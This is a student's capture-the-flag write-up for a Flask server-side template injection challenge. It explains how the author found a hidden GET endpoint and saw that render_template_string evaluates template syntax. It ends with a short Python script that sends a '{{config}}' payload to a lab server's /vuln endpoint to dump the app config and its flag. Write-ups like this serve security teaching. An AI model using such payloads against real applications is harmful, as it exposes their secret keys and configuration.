SSTI

--By Aditya Maurya, 24/A08/005

The hint given for it was to give the input to the website. but there was no text field.

Hence, I first went to Inspect > Networks to see any “get” or “post” requests there.

INFORMATION ABOUT GET OR POST REQUESTS:-

GET Requests:

- Used to **retrieve data** from a specified resource.
- Query parameters (name/value pairs) are sent in the **URL**.

POST Requests:

- Used to **send data** to a server to create or update a resource.
- Data is stored in the **request body** of the HTTP request.
- Ideal for sensitive or large amounts of data.

Luckiliy, there was a “Get” request there in the network panel.

(The **Network panel** in developer tools is a powerful tool for inspecting a webpage’s network activity. It’ll show you all the requests the webpage makes, the images it’s loading etc.)

There is no textfield etc. to input anything. Hence, it was obvious that we'll have to use these requests to inject some payload manually. And Boom!, we got a "get" request URL.

ANALYZING THE PYTHON CODE SHOWN ON IN THE WEBSITE: -

In the python code being displayed, we could analyze that we can send a payload having parameter as "query" to the /vuln of the get request we got from the Network Panel.

Because

```
render_template_string
```

function is used, we could execute the things in {{}} brackets of the payload.

We could see in the python code that; the flag is probably in the config file. As the line:-

```
app.config.from_pyfile('topsecret.py')
```

tells us that flag is in app's config.

NOW, FINALLY With this much information, we could write a python code.

FINAL PYTHON SCIPT TO GET THE FLAG!

The python code will use the request library to make a request to the webpage to get the flag using the vulnerability we found in the above section. The final python code would look something like this: -

```
import requests


# The URL of the Flask application
url = r'http://98.70.76.80:8003/vuln'

# The payload to test the SSTI vulnerability
payload = "{{config}}"

# Sending a GET request with the payload as the 'query' parameter
response = requests.get(url, params={'query': payload})

# Printing the response from the server
print("Response Text:", response.content.decode('utf-8')) #prints the response
in terminal in Unicode format.
```

In the output, we can finally see our Flag !!!! Yayyyy!!!

--By Adtiya Maurya (24/A08/005)